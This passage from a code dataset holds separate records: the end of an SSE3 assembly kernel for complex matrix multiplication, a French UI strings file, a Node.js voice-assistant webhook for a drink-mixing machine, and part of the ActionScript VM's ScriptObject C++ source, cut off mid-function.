%eax\n\tjle\t.L103\n\tALIGN_4\n\n.L102:\n\tmovddup\t 0 * SIZE(B), %xmm0\n\tmovddup\t 2 * SIZE(B), %xmm1\n\tmovddup\t 4 * SIZE(B), %xmm2\n\tmovddup\t 6 * SIZE(B), %xmm3\n\tmovddup\t 8 * SIZE(B), %xmm4\n\tmovddup 10 * SIZE(B), %xmm5\n\tmovddup\t12 * SIZE(B), %xmm6\n\tmovddup\t14 * SIZE(B), %xmm7\n\n\tmovaps\t%xmm0, 0 * SIZE(BB)\n\tmovaps\t%xmm1, 4 * SIZE(BB)\n\tmovaps\t%xmm2, 8 * SIZE(BB)\n\tmovaps\t%xmm3, 12 * SIZE(BB)\n\tmovaps\t%xmm4, 16 * SIZE(BB)\n\tmovaps\t%xmm5, 20 * SIZE(BB)\n\tmovaps\t%xmm6, 24 * SIZE(BB)\n\tmovaps\t%xmm7, 28 * SIZE(BB)\n\n\tprefetcht0\t 104 * SIZE(B)\n\n\taddl\t$16 * SIZE, B\n\taddl\t$32 * SIZE, BB\n\tdecl\t%eax\n\tjne\t.L102\n\tALIGN_4\n\n.L103:\n\tmovl\tK, %eax\n\tandl\t$7, %eax\n\tBRANCH\n\tjle\t.L105\n\tALIGN_4\n\n.L104:\n\tmovddup\t0 * SIZE(B), %xmm0\n\n\tmovaps\t%xmm0, 0 * SIZE(BB)\n\n\taddl\t$ 2 * SIZE, %edi\n\taddl\t$ 4 * SIZE, %ecx\n\tdecl\t%eax\n\tjne\t.L104\n\tALIGN_4\n\n.L105:\n\tmovl\tC, %esi\n\tmovl\tA, AA\n\tmovl\tM, %ebx\n\tsarl\t$1, %ebx\n\tjle\t.L130\n\tALIGN_4\n\n.L110:\n#if !defined(TRMMKERNEL) || \\\n\t(defined(TRMMKERNEL) && defined(LEFT) && defined(TRANSA)) || \\\n\t(defined(TRMMKERNEL) && !defined(LEFT) && !defined(TRANSA))\n\n\tleal\tBUFFER, BB\t# boffset1 = boffset\n#else\n\tleal\tBUFFER, BB\t# boffset1 = boffset\n\tmovl\tKK, %eax\n\tleal\t(, %eax, 8), %eax\n\tleal\t(AA, %eax, 2), AA\n\tleal\t(BB, %eax, 2), BB\n#endif\t\n\n\tmovaps\t 0 * SIZE(AA), %xmm0\n\tpxor\t%xmm4, %xmm4\n\tmovaps\t 16 * SIZE(AA), %xmm1\n\tpxor\t%xmm5, %xmm5\n\tmovsldup 0 * SIZE(BB), %xmm2\n\tpxor\t%xmm6, %xmm6\n\tmovsldup 16 * SIZE(BB), %xmm3\n\tpxor\t%xmm7, %xmm7\n\n#ifdef PENTIUM4\n\tprefetchnta 4 * SIZE(%esi)\n#endif\n\n#ifndef TRMMKERNEL\n\tmovl\tK, %eax\n#elif (defined(LEFT) && !defined(TRANSA)) || (!defined(LEFT) && defined(TRANSA))\n\tmovl\tK, %eax\n\tsubl\tKK, %eax\n\tmovl\t%eax, KKK\t\n#else\n\tmovl\tKK, %eax\n#ifdef LEFT\n\taddl\t$2, %eax\n#else\n\taddl\t$1, %eax\n#endif\n\tmovl\t%eax, KKK\n#endif\n\tsarl\t$3, %eax\n\tje\t.L112\n\tALIGN_4\n\n.L111:\n\tmulps\t%xmm0, %xmm2\n\taddps\t%xmm2, %xmm4\n\tPREFETCH (PREFETCHSIZE + 0) * SIZE(AA)\n\tmovshdup 0 * SIZE(BB), %xmm2\n\tmulps\t%xmm0, %xmm2\n\tmovaps\t 4 * SIZE(AA), %xmm0\n\tADDSUB\t%xmm2, %xmm5\n\tmovsldup 4 * SIZE(BB), %xmm2\n\tmulps\t%xmm0, %xmm2\n\taddps\t%xmm2, %xmm4\n\tmovshdup 4 * SIZE(BB), %xmm2\n\tmulps\t%xmm0, %xmm2\n\tmovaps\t 8 * SIZE(AA), %xmm0\n\tADDSUB\t%xmm2, %xmm5\n\tmovsldup 8 * SIZE(BB), %xmm2\n\tmulps\t%xmm0, %xmm2\n\taddps\t%xmm2, %xmm4\n\tmovshdup 8 * SIZE(BB), %xmm2\n\tmulps\t%xmm0, %xmm2\n\tmovaps\t 12 * SIZE(AA), %xmm0\n\tADDSUB\t%xmm2, %xmm5\n\tmovsldup 12 * SIZE(BB), %xmm2\n\tmulps\t%xmm0, %xmm2\n\taddps\t%xmm2, %xmm4\n\tmovshdup 12 * SIZE(BB), %xmm2\n\tmulps\t%xmm0, %xmm2\n\tmovaps\t 32 * SIZE(AA), %xmm0\n\tADDSUB\t%xmm2, %xmm5\n\tmovsldup 32 * SIZE(BB), %xmm2\n\tmulps\t%xmm1, %xmm3\n\taddps\t%xmm3, %xmm4\n\tmovshdup 16 * SIZE(BB), %xmm3\n\tmulps\t%xmm1, %xmm3\n\tmovaps\t 20 * SIZE(AA), %xmm1\n\tADDSUB\t%xmm3, %xmm5\n\tmovsldup 20 * SIZE(BB), %xmm3\n\tmulps\t%xmm1, %xmm3\n\taddps\t%xmm3, %xmm4\n\tmovshdup 20 * SIZE(BB), %xmm3\n\tmulps\t%xmm1, %xmm3\n\tmovaps\t 24 * SIZE(AA), %xmm1\n\tADDSUB\t%xmm3, %xmm5\n\tmovsldup 24 * SIZE(BB), %xmm3\n\tmulps\t%xmm1, %xmm3\n\taddps\t%xmm3, %xmm4\n\tmovshdup 24 * SIZE(BB), %xmm3\n\tmulps\t%xmm1, %xmm3\n\tmovaps\t 28 * SIZE(AA), %xmm1\n\tADDSUB\t%xmm3, %xmm5\n\tmovsldup 28 * SIZE(BB), %xmm3\n\tmulps\t%xmm1, %xmm3\n\taddps\t%xmm3, %xmm4\n\tmovshdup 28 * SIZE(BB), %xmm3\n\tmulps\t%xmm1, %xmm3\n\tmovaps\t 48 * SIZE(AA), %xmm1\n\tADDSUB\t%xmm3, %xmm5\n\tmovsldup 48 * SIZE(BB), %xmm3\n\n\taddl\t$32 * SIZE, AA\n\taddl\t$32 * SIZE, BB\n\tdecl\t%eax\n\tjne\t.L111\n\tALIGN_4\n\t\n.L112:\n#ifndef TRMMKERNEL\n\tmovl\tK, %eax\n#else\n\tmovl\tKKK, %eax\n#endif\n\tmovaps\tALPHA_R, %xmm1\n\tmovaps\tALPHA_I, %xmm3\n\tandl\t$7, %eax\t\t# if (k & 1)\n\tBRANCH\n\tje .L114\n\tALIGN_4\n\n.L113:\n\tmulps\t%xmm0, %xmm2\n\taddps\t%xmm2, %xmm4\n\tmovshdup 0 * SIZE(BB), %xmm2\n\tmulps\t%xmm0, %xmm2\n\tmovaps\t 4 * SIZE(AA), %xmm0\n\tADDSUB\t%xmm2, %xmm5\n\tmovsldup 4 * SIZE(BB), %xmm2\n\n\taddl\t$ 4 * SIZE, AA\n\taddl\t$ 4 * SIZE, BB\n\tdecl\t%eax\n\tjg\t.L113\n\tALIGN_4\n\n.L114:\n#if defined(NN) || defined(NT) || defined(TN) || defined(TT) || \\\n defined(NR) || defined(NC) || defined(TR) || defined(TC)\n\n\tshufps\t$0xb1, %xmm5, %xmm5\n\n\taddsubps\t%xmm5, %xmm4\n\n\tmovaps\t%xmm4, %xmm5\n\n\tshufps\t$0xb1, %xmm4, %xmm4\n#else\n\tshufps\t$0xb1, %xmm4, %xmm4\n\n\taddsubps\t%xmm4, %xmm5\n\n\tmovaps\t%xmm5, %xmm4\n\n\tshufps\t$0xb1, %xmm5, %xmm5\n#endif\n\n\tmulps\t%xmm1, %xmm5\n\tmulps\t%xmm3, %xmm4\n\n\taddps\t%xmm5, %xmm4\n\n#ifndef TRMMKERNEL\n\tmovsd\t0 * SIZE(%esi), %xmm0\n\tmovhps\t2 * SIZE(%esi), %xmm0\n\n\taddps\t%xmm0, %xmm4\n#endif\n\n\tmovsd\t%xmm4, 0 * SIZE(%esi)\n\tmovhps\t%xmm4, 2 * SIZE(%esi)\n\n#if (defined(TRMMKERNEL) && defined(LEFT) && defined(TRANSA)) || \\\n (defined(TRMMKERNEL) && !defined(LEFT) && !defined(TRANSA))\n\tmovl\tK, %eax\n\tsubl\tKKK, %eax\n\tleal\t(,%eax, 8), %eax\n\tleal\t(AA, %eax, 2), AA\n\tleal\t(BB, %eax, 2), BB\n#endif\n\n#if defined(TRMMKERNEL) && defined(LEFT)\n\taddl\t$2, KK\n#endif\n\n\taddl\t$4 * SIZE, %esi\t\t# coffset += 4\n\tdecl\t%ebx\t\t\t# i --\n\tjg\t.L110\n\tALIGN_4\n\n.L130:\n\tmovl\tM, %ebx\n\tandl\t$1, %ebx\n\tjle\t.L999\n\tALIGN_4\n\n.L140:\n#if !defined(TRMMKERNEL) || \\\n\t(defined(TRMMKERNEL) && defined(LEFT) && defined(TRANSA)) || \\\n\t(defined(TRMMKERNEL) && !defined(LEFT) && !defined(TRANSA))\n\n\tleal\tBUFFER, BB\t# boffset1 = boffset\n#else\n\tleal\tBUFFER, BB\t# boffset1 = boffset\n\tmovl\tKK, %eax\n\tleal\t(, %eax, 8), %eax\n\tleal\t(AA, %eax, 1), AA\n\tleal\t(BB, %eax, 2), BB\n#endif\t\n\n\tmovddup\t 0 * SIZE(AA), %xmm0\n\tpxor\t%xmm4, %xmm4\n\tmovddup\t 8 * SIZE(AA), %xmm1\n\tpxor\t%xmm5, %xmm5\n\tmovsd 0 * SIZE(BB), %xmm2\n\tmovsd 16 * SIZE(BB), %xmm3\n\n#ifndef TRMMKERNEL\n\tmovl\tK, %eax\n#elif (defined(LEFT) && !defined(TRANSA)) || (!defined(LEFT) && defined(TRANSA))\n\tmovl\tK, %eax\n\tsubl\tKK, %eax\n\tmovl\t%eax, KKK\t\n#else\n\tmovl\tKK, %eax\n#ifdef LEFT\n\taddl\t$1, %eax\n#else\n\taddl\t$1, %eax\n#endif\n\tmovl\t%eax, KKK\n#endif\n\tsarl\t$3, %eax\n\tje\t.L142\n\tALIGN_4\n\n.L141:\n\tshufps\t$0x50, %xmm2, %xmm2\n\tmulps\t%xmm0, %xmm2\n\tPREFETCH (PREFETCHSIZE + 0) * SIZE(AA)\n\tmovddup\t 2 * SIZE(AA), %xmm0\n\taddps\t%xmm2, %xmm4\n\tmovsd 4 * SIZE(BB), %xmm2\n\tshufps\t$0x50, %xmm2, %xmm2\n\tmulps\t%xmm0, %xmm2\n\tmovddup\t 4 * SIZE(AA), %xmm0\n\taddps\t%xmm2, %xmm5\n\tmovsd 8 * SIZE(BB), %xmm2\n\tshufps\t$0x50, %xmm2, %xmm2\n\tmulps\t%xmm0, %xmm2\n\tmovddup\t 6 * SIZE(AA), %xmm0\n\taddps\t%xmm2, %xmm4\n\tmovsd 12 * SIZE(BB), %xmm2\n\tshufps\t$0x50, %xmm2, %xmm2\n\tmulps\t%xmm0, %xmm2\n\tmovddup\t 16 * SIZE(AA), %xmm0\n\taddps\t%xmm2, %xmm5\n\tmovsd 32 * SIZE(BB), %xmm2\n\tshufps\t$0x50, %xmm3, %xmm3\n\tmulps\t%xmm1, %xmm3\n\tmovddup\t 10 * SIZE(AA), %xmm1\n\taddps\t%xmm3, %xmm4\n\tmovsd 20 * SIZE(BB), %xmm3\n\tshufps\t$0x50, %xmm3, %xmm3\n\tmulps\t%xmm1, %xmm3\n\tmovddup\t 12 * SIZE(AA), %xmm1\n\taddps\t%xmm3, %xmm5\n\tmovsd 24 * SIZE(BB), %xmm3\n\tshufps\t$0x50, %xmm3, %xmm3\n\tmulps\t%xmm1, %xmm3\n\tmovddup\t 14 * SIZE(AA), %xmm1\n\taddps\t%xmm3, %xmm4\n\tmovsd 28 * SIZE(BB), %xmm3\n\tshufps\t$0x50, %xmm3, %xmm3\n\tmulps\t%xmm1, %xmm3\n\tmovddup\t 24 * SIZE(AA), %xmm1\n\taddps\t%xmm3, %xmm5\n\tmovsd 48 * SIZE(BB), %xmm3\n\n\taddl\t$ 16 * SIZE, AA\n\taddl\t$ 32 * SIZE, BB\n\tdecl\t%eax\n\tjne\t.L141\n\tALIGN_4\n\t\n.L142:\n#ifndef TRMMKERNEL\n\tmovl\tK, %eax\n#else\n\tmovl\tKKK, %eax\n#endif\n\tmovaps\tALPHA_R, %xmm1\n\tmovaps\tALPHA_I, %xmm3\n\tandl\t$7, %eax\t\t# if (k & 1)\n\tBRANCH\n\tje .L144\n\tALIGN_4\n\n.L143:\n\tshufps\t$0x50, %xmm2, %xmm2\n\tmulps\t%xmm0, %xmm2\n\tmovddup\t 2 * SIZE(AA), %xmm0\n\taddps\t%xmm2, %xmm4\n\tmovsd 4 * SIZE(BB), %xmm2\n\n\taddl\t$2 * SIZE, AA\n\taddl\t$4 * SIZE, BB\n\tdecl\t%eax\n\tjg\t.L143\n\tALIGN_4\n\n.L144:\n\taddps\t%xmm5, %xmm4\n\n\tmovhlps %xmm4, %xmm5\n\n#if defined(NR) || defined(NC) || defined(TR) || defined(TC) || \\\n defined(RR) || defined(RC) || defined(CR) || defined(CC) \n\tcmpeqps\t%xmm7, %xmm7\n\tpslld\t$31, %xmm7\n\txorps\t%xmm7, %xmm5\n#endif \n \n#if defined(NN) || defined(NT) || defined(TN) || defined(TT) || \\\n defined(NR) || defined(NC) || defined(TR) || defined(TC)\n\tshufps\t$0xb1, %xmm5, %xmm5\n\n\taddsubps\t%xmm5, %xmm4\n\n\tmovaps\t%xmm4, %xmm5\n\n\tshufps\t$0xb1, %xmm4, %xmm4\n#else\n\tshufps\t$0xb1, %xmm4, %xmm4\n\n\taddsubps\t%xmm4, %xmm5\n\n\tmovaps\t%xmm5, %xmm4\n\n\tshufps\t$0xb1, %xmm5, %xmm5\n#endif\n\n\tmulps\t%xmm1, %xmm5\n\tmulps\t%xmm3, %xmm4\n\n\taddps\t%xmm5, %xmm4\n\n#ifndef TRMMKERNEL\n\tmovsd\t0 * SIZE(%esi), %xmm0\n\taddps\t%xmm0, %xmm4\n#endif\n\tmovsd\t%xmm4, 0 * SIZE(%esi)\n\tALIGN_4\n\n.L999:\n\tmovl\tOLD_STACK, %esp\n\tpopl\t%ebx\n\tpopl\t%esi\n\tpopl\t%edi\n\tpopl\t%ebp\n\tret\n\n\tEPILOGUE\n"} {"text": "{\n \"description\": \"Tous vos flux en un seul endroit\",\n \"empty\": \"Flux vides\",\n \"settings\": {\n \"feeds\": \"Flux\"\n }\n}\n"} {"text": "var weather = require('weather-js');\nvar moment = require('moment');\nvar request = require('request');\nvar pubsub = require('@google-cloud/pubsub');\nvar ApiAiAssistant = require('actions-on-google').ApiAiAssistant;\n\nvar pubsubClient = pubsub({ projectId: 'your-google-project-id' });\nvar topicName = 'MocktailsMixerMessages';\n\nexports.webhook = function(req, res) {\n\n var respData = {\n 'speech': 'This is default speech.',\n 'displayText': 'This is default display text.',\n 'data': {},\n 'contextOut': [],\n 'source': ''\n };\n\n var intent = req.body.result.metadata.intentName;\n console.log('intent = ' + intent);\n\n switch (intent) {\n\n case 'prime_pump_start':\n\n var whichPump = req.body.result.parameters.which_pump;\n console.log('whichPump = ' + whichPump);\n\n createTopic(function(topic) {\n\n var pubData = { 'intent': 'prime_pump_start', 'which_pump': whichPump };\n\n publishMessage(topic, JSON.stringify(pubData), function() {\n\n var s = 'Priming pump ' + whichPump + '.';\n respData.speech = s;\n respData.displayText = s;\n res.json(respData);\n });\n });\n\n break;\n\n case 'prime_pump_end':\n\n createTopic(function(topic) {\n\n var pubData = { 'intent': 'prime_pump_end' };\n\n publishMessage(topic, JSON.stringify(pubData), function() {\n\n var s = 'Stopped priming pump.';\n respData.speech = s;\n respData.displayText = s;\n res.json(respData);\n });\n });\n\n break;\n\n case 'make_drink':\n\n var drink = req.body.result.parameters.drink;\n console.log('drink = ' + drink);\n\n createTopic(function(topic) {\n\n var pubData = { 'intent': 'make_drink', 'drink': drink };\n\n publishMessage(topic, JSON.stringify(pubData), function() {\n\n var s = 'Coming right up. While I make your drink, would you like to hear the weather or your fortune?';\n respData.speech = s;\n respData.displayText = s;\n res.json(respData);\n });\n });\n\n break;\n\n case 'chuck_norris':\n\n requestChuckNorris(function(jokeText) {\n\n // set assistant speech and display text\n respData.speech = jokeText;\n respData.displayText = jokeText;\n\n // serve response\n res.json(respData);\n });\n break;\n\n case 'resp_weather':\n\n console.log('about to call getWeather()');\n\n var zip = req.body.result.parameters.zip_code;\n console.log('zip =' + zip);\n\n getWeather(zip, function(respText) {\n\n console.log('inside getWeather() callback');\n respData.speech = respText;\n respData.displayText = respText;\n res.json(respData);\n });\n\n break;\n\n default:\n\n console.log('switch-case in default');\n res.json(respData);\n\n break;\n }\n};\n\nfunction createTopic(callback) {\n\n if (!callback) {\n console.log('no callback');\n return;\n }\n\n pubsubClient.createTopic(topicName, function(error, topic) {\n\n // topic already exists\n if (error && error.code === 409) {\n\n console.log('topic created');\n\n // callback(topic);\n callback(pubsubClient.topic(topicName));\n return;\n }\n\n if (error) {\n console.log(error);\n return;\n }\n\n callback(pubsubClient.topic(topicName));\n });\n}\n\nfunction publishMessage(topic, message, callback) {\n\n topic.publish(message, function(error) {\n\n if (error) {\n console.log('Publish error:');\n console.log(error);\n return;\n }\n\n console.log('publish successful');\n\n if (callback) {\n callback();\n }\n });\n}\n\nfunction requestChuckNorris(callback) {\n\n if (!callback) {\n console.log('Chuck norris doesnt need a callback function, but you do.');\n return;\n }\n\n request('http://api.icndb.com/jokes/random?limitTo=[nerdy]&exclude=[explicit]', function(error, response, body) {\n\n var json = JSON.parse(body);\n\n if (json.type !== 'success') {\n callback('Error, Chuck Norris round-housed the server rack.');\n } else {\n callback(json.value.joke);\n }\n });\n}\n\nfunction getWeather(zip, callback) {\n\n if (!callback) {\n console.log('No callback.');\n return;\n }\n\n weather.find({search: zip, degreeType: 'F'}, function(err, result) {\n\n if (err) {\n console.log(err);\n callback('There has been an error with the weather service.');\n return;\n }\n\n callback('The temperature in ' + result[0].location.name + ' is ' + result[0].current.temperature + ' degrees.');\n });\n}\n"} {"text": "/* -*- Mode: C++; c-basic-offset: 4; indent-tabs-mode: nil; tab-width: 4 -*- */\n/* vi: set ts=4 sw=4 expandtab: (add to ~/.vimrc: set modeline modelines=5) */\n/* This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http://mozilla.org/MPL/2.0/. */\n\n#include \"avmplus.h\"\n//#define DOPROF\n//#include \"../vprof/vprof.h\"\n\nnamespace avmplus\n{\n ScriptObject::ScriptObject(VTable* _vtable, ScriptObject* _delegate) :\n#ifdef DEBUGGER\n AvmPlusScriptableObject(sotObject(_vtable)),\n#endif // DEBUGGER\n vtable(_vtable),\n // note that it's substantially more efficient to initialize this in the ctor\n // list vs. a later explicit call to setDelegate, as we don't have to check for marking\n // nor decrement an existing value...\n delegate(_delegate)\n {\n AvmAssert(vtable->traits->isResolved());\n\n // Ensure that our object is large enough to hold its extra traits data.\n AvmAssert(MMgc::GC::Size(this) >= vtable->traits->getTotalSize());\n }\n\n ScriptObject::ScriptObject(VTable* _vtable, ScriptObject* _delegate, int capacity) :\n#ifdef DEBUGGER\n AvmPlusScriptableObject(sotObject(_vtable)),\n#endif // DEBUGGER\n vtable(_vtable),\n // note that it's substantially more efficient to initialize this in the ctor\n // list vs. a later explicit call to setDelegate, as we don't have to check for marking\n // nor decrement an existing value...\n delegate(_delegate)\n {\n AvmAssert(vtable->traits->isResolved());\n\n // Ensure that our object is large enough to hold its extra traits data.\n AvmAssert(MMgc::GC::Size(this) >= vtable->traits->getTotalSize());\n\n //if capacity not specified then initialize the hashtable lazily\n if (vtable->traits->needsHashtable() && capacity)\n {\n initHashtable(capacity);\n }\n }\n\n // Not actually entirely trivial, as it decrements reference counts\n // manually, not just by GCMember smart pointer destructors.\n#ifdef DRC_TRIVIAL_DESTRUCTOR\n ScriptObject::~ScriptObject()\n {\n //setDelegate(NULL); -- no longer necessary\n vtable->traits->destroyInstance(this);\n }\n#endif\n\n /* The storage for a ScriptObject or a subclass SO of ScriptObject is\n * laid out as follows.\n *\n * - first the bits of the C++ class; if there are pointers here\n * then they must be traced explicitly by the appropriate class's\n * gcTrace method\n * - then the bits for the ActionScript slots\n * - optionally an InlineHashtable for dynamic properties\n *\n * The in-line slots are native and their representation is described\n * by the Traits object (vtable->traits). They are not named, but named\n * lookup is possible by going to the Traits object, which contains\n * a name->slot map.\n *\n * The InlineHashtable always stores Atoms.\n */\n bool ScriptObject::gcTrace(MMgc::GC* gc, size_t cursor)\n {\n (void)cursor;\n gc->TraceLocation(&vtable);\n gc->TraceLocation(&delegate);\n traits()->traceSlots(gc, this);\n if (traits()->needsHashtable())\n {\n // Avoid initializing the hash table here\n InlineHashtable* iht = getTableNoInit();\n // The iht pointer can be NULL for Dictionary objects that\n // haven't had init called yet.\n if(iht)\n iht->gcTrace(gc);\n }\n\n return false;\n }\n\n void ScriptObject::initHashtable(int capacity /*=InlineHashtable::kDefaultCapacity*/)\n {\n AvmAssert(vtable->traits->isDictionary() == 0); //should not be called DictionaryObject uses HeapHashtable\n\n MMGC_MEM_TYPE(this);\n union {\n uint8_t* p;\n InlineHashtable* iht;\n };\n p = (uint8_t*)this + vtable->traits->getHashtableOffset();\n iht->initializeWithDontEnumSupport(this->gc(), capacity);\n\n#ifdef DEBUGGER\n if (getSampler())\n {\n getSampler()->addDependentObject(this, iht);\n }\n#endif\n }\n\n InlineHashtable* ScriptObject::getTable() const\n {\n AvmAssert(vtable->traits->getHashtableOffset() != 0);\n union {\n uint8_t* p;\n InlineHashtable* iht;\n HeapHashtable** hht;\n };\n p = (uint8_t*)this + vtable->traits->getHashtableOffset();\n if(!vtable->traits->isDictionary())\n {\n if (iht->needsInitialize())\n const_cast<ScriptObject*>(this)->initHashtable();\n return iht;\n }\n else\n {\n //DictionaryObjects store pointer to HeapHashtable at\n //the hashtable offset\n if (*hht == NULL)\n {\n // ugh... if we are here, it means that a Dictionary subclass didn't\n // call the Dictionary ctor via super(), so our HeapHashtable was never created.\n // This is a horrible band-aid: lazily create it here. (Since the\n // ctor was never called, we'll just assume weakKeys = false.) This is\n // a horrible encapsulation violation, but a proper fix requires a fairly\n // sweeping rethinking of ScriptObject, so this will have to do short-term.\n MMgc::GC* gc = this->gc();\n // if we are lazy-initing here, it means our ctor was never called:\n // so, just assume weakKeys = false.\n HeapHashtable* ht = HeapHashtable::create(gc);\n WB(gc, this, hht, ht);\n#ifdef DEBUGGER\n if (getSampler() && ht)\n {\n getSampler()->addDependentObject(this, ht->get_ht());\n }\n#endif\n }\n InlineHashtable *ihp = (*hht)->get_ht();\n AvmAssertMsg(ihp != NULL, \"Illegal to call getTable before Dictionary init is called\");\n return ihp;\n }\n }\n\n bool ScriptObject::isOwnAtomPropertyHere(Atom name, Atom *recv) const\n {\n AvmAssert(this->vtable->traits->getHashtableOffset() != 0);\n Atom const value = this->getTable()->getNonEmpty(name);\n if (!InlineHashtable::isEmpty(value))\n {\n *recv = value;\n return true;\n }\n else\n {\n return false;\n }\n }\n\n /**\n * traverse the delegate chain looking for a value.\n * [ed] it's okay to look only at the HT's in the delegate chain because\n * delegate values may only be instances of Object. They cannot be objects\n * with slots. We don't need to look at traits at each step.\n * todo - enforce this rule\n * @param name\n * @return\n */\n Atom ScriptObject::getAtomProperty(Atom name) const\n {\n if (!traits()->needsHashtable())\n {\n return getAtomPropertyFromProtoChain(name, delegate, traits());\n }\n else\n {\n Stringp s = core()->atomToString(name);\n AvmAssert(s->isInterned());\n Atom ival = s->getIntAtom();\n if (ival)\n {\n name = ival;\n }\n\n // dynamic lookup on this object\n const ScriptObject *o = this;\n do\n {\n // ensure prototype is dynamic\n if (!o->vtable->traits->getHashtableOffset())\n continue;\n\n Atom value;\n if (o->isOwnAtomPropertyHere(name, &value))\n return value;\n }\n while ((o = o->delegate) != NULL);\n return undefinedAtom;\n }\n }\n\n Atom ScriptObject::getAtomPropertyFromProtoChain(Atom name, ScriptObject* o, Traits *origObjTraits) const\n {\n // todo will delegate always be non-null here?\n if (o != NULL)\n {\n Atom searchname = name;\n Stringp s = core()->atomToString(name);\n AvmAssert(s->isInterned());\n Atom ival = s->getIntAtom();\n if (ival)\n {\n searchname = ival;\n }\n do\n {\n // ensure prototype is dynamic\n if (!o->vtable->traits->getHashtableOffset())\n continue;\n Atom value;\n if (o->isOwnAtomPropertyHere(searchname, &value))\n return value;\n }\n while ((o = o->delegate) != NULL);\n }\n // NOTE use default public since name is not used\n Multiname multiname(core()->getAnyPublicNamespace(), AvmCore::atomToString(name));\n toplevel()->throwReferenceError(kReadSealedError, &multiname, origObjTraits);\n // unreached\n return undefinedAtom;\n }\n\n bool ScriptObject::hasMultinameProperty(const Multiname* multiname) const\n {\n if (traits()->needsHashtable() && multiname->isValidDynamicName())\n {\n return hasAtomProperty(multiname->getName()->atom());\n }\n else\n {\n // ISSUE should this walk the proto chain?\n return false;\n }\n }\n\n bool ScriptObject::hasAtomProperty(Atom name) const\n {\n if (traits()->needsHashtable())\n {\n Stringp s = core()->atomToString(name);\n AvmAssert(s->isInterned());\n Atom ival = s->getIntAtom();\n if (ival)\n {\n name = ival;\n }\n\n return getTable()->contains(name);\n }\n else\n {\n // ISSUE should this walk the proto chain?\n return false;\n }\n }\n\n void ScriptObject::throwWriteSealedError(const Multiname& name)\n {\n toplevel()->throwReferenceError(kWriteSealedError, name, traits());\n }\n\n void ScriptObject::throwWriteSealedError(Atom name)\n {\n AvmCore* core = this->core();\n throwWriteSealedError(Multiname(core->getAnyPublicNamespace(), core->intern(name)));\n }\n\n void ScriptObject::throwCantInstantiateError()\n {\n Multiname qname(traits()->ns(), traits()->name());\n toplevel()->argumentErrorClass()->throwError(kCantInstantiateError, core()->toErrorString(&qname));\n }\n\n void ScriptObject::setAtomProperty(Atom name, Atom value)\n {\n if (traits()->needsHashtable())\n {\n Stringp s = core()->atomToString(name);\n AvmAssert(s->isInterned());\n Atom ival = s->getIntAtom();\n if (ival)\n {\n name = ival;\n }\n\n MMGC_MEM_TYPE(this);\n getTable()->add (name, value);\n MMGC_MEM_TYPE(NULL);\n }\n else\n {\n throwWriteSealedError(name);\n }\n }\n\n void ScriptObject::setMultinameProperty(const Multiname* name, Atom value)\n {\n if (traits()->needsHashtable() && name->isValidDynamicName())\n {\n setStringProperty(name->getName(), value);\n }\n else\n {\n throwWriteSealedError(*name);\n }\n }\n\n bool ScriptObject::getAtomPropertyIsEnumerable(Atom name) const\n {\n if (traits()->needsHashtable())\n {\n Stringp s = core()->atomToString(name);\n AvmAssert(s->isInterned());\n Atom ival = s->getIntAtom();\n if (ival)\n {\n name = ival;\n }\n\n return getTable()->getAtomPropertyIsEnumerable(name);\n }\n else\n {\n // ISSUE should this walk the proto chain?\n return false;\n }\n }\n\n void ScriptObject::setAtomPropertyIsEnumerable(Atom name, bool enumerable)\n {\n if (traits()->needsHashtable())\n {\n Stringp s = core()->atomToString(name);\n AvmAssert(s->isInterned());\n Atom ival = s->getIntAtom();\n if (ival)\n {\n name = ival;\n }\n\n getTable()->setAtomPropertyIsEnumerable(name, enumerable);\n }\n else\n {\n throwWriteSealedError(name);\n }\n }\n\n bool ScriptObject::deleteAtomProperty(Atom name)\n {\n if (traits()->needsHashtable())\n {\n Stringp s = core()->atomToString(name);\n AvmAssert(s->isInterned());\n Atom ival = s->getIntAtom();\n if (ival)\n {\n name = ival;\n }\n\n getTable()->remove(name);\n return true;\n }\n else\n {\n return false;\n }\n }\n\n bool ScriptObject::deleteMultinameProperty(const Multiname* name)\n {\n if (traits()->needsHashtable() && name->isValidDynamicName())\n {\n return deleteStringProperty(name->getName());\n }\n else\n {\n return false;\n }\n }\n\n Atom ScriptObject::getUintProperty(uint32_t i) const\n {\n // N.B.: a key present in ScriptObject must be interned string;\n // thus uninterned implies absent (cf. bugzilla 556023).\n\n AvmCore* core = this->core();\n\n if (!(i&MAX_INTEGER_MASK))\n {\n if (!traits()->needsHashtable())\n {\n Stringp interned;\n bool present = core->isInternedUint(i, &interned);\n if (present)\n {\n Atom name = interned->atom();\n return getAtomPropertyFromProtoChain(name, delegate,\n traits());\n }\n else\n {\n return undefinedAtom;\n }\n }\n else\n {\n // dynamic lookup on this object\n Atom name = core->uintToAtom (i);\n const ScriptObject *o = this;\n do\n {\n // ensure prototype is dynamic\n if (!o->vtable->traits->getHashtableOffset())\n continue;\n\n Atom value;\n if (o->isOwnAtomPropertyHere(name, &value))\n return value;\n }\n while ((o = o->delegate) != NULL);\n return undefinedAtom;\n }\n }\n else\n {\n Stringp interned;\n bool present;\n present = core->isInternedUint(i, &interned);\n if (present)\n {\n return getAtomProperty(interned->atom());\n }\n else\n {\n return undefinedAtom;\n }\n }\n }\n\n void ScriptObject::setUintProperty(uint32_t i, Atom value)\n {\n AvmCore* core = this->core();\n if (!(i&MAX_INTEGER_MASK))\n {\n Atom name = core->uintToAtom (i);\n if (traits()->needsHashtable())\n {\n MMGC_MEM_TYPE(this);\n getTable()->add(name, value);\n MMGC_MEM_TYPE(NULL);\n }\n else\n {\n throwWriteSealedError(core->internUint32(i)->atom());\n }\n }\n else\n {\n setAtomProperty(core->internUint32(i)->atom(), value);\n }\n }\n\n bool ScriptObject::delUintProperty(uint32_t i)\n {\n AvmCore* core = this->core();\n if (!(i&MAX_INTEGER_MASK))\n {\n Atom name = core->uintToAtom (i);\n if (traits()->needsHashtable())\n {\n getTable()->remove(name);\n return true;\n }\n else\n {\n return false;\n }\n }\n else\n {\n return deleteAtomProperty(core->internUint32(i)->atom());\n }\n }\n\n bool ScriptObject::hasUintProperty(uint32_t i) const\n {\n AvmCore* core = this->core();\n if (!(i&MAX_INTEGER_MASK))\n {\n Atom name = core->uintToAtom (i);\n if (traits()->needsHashtable())\n {\n return getTable()->contains(name);\n }\n else\n {\n // ISSUE should this walk the proto chain?\n return false;\n }\n }\n else\n {\n return hasAtomProperty(core->internUint32(i)->atom());\n }\n }\n\n Atom ScriptObject::getMultinameProperty(const Multiname* multiname) const\n {\n if 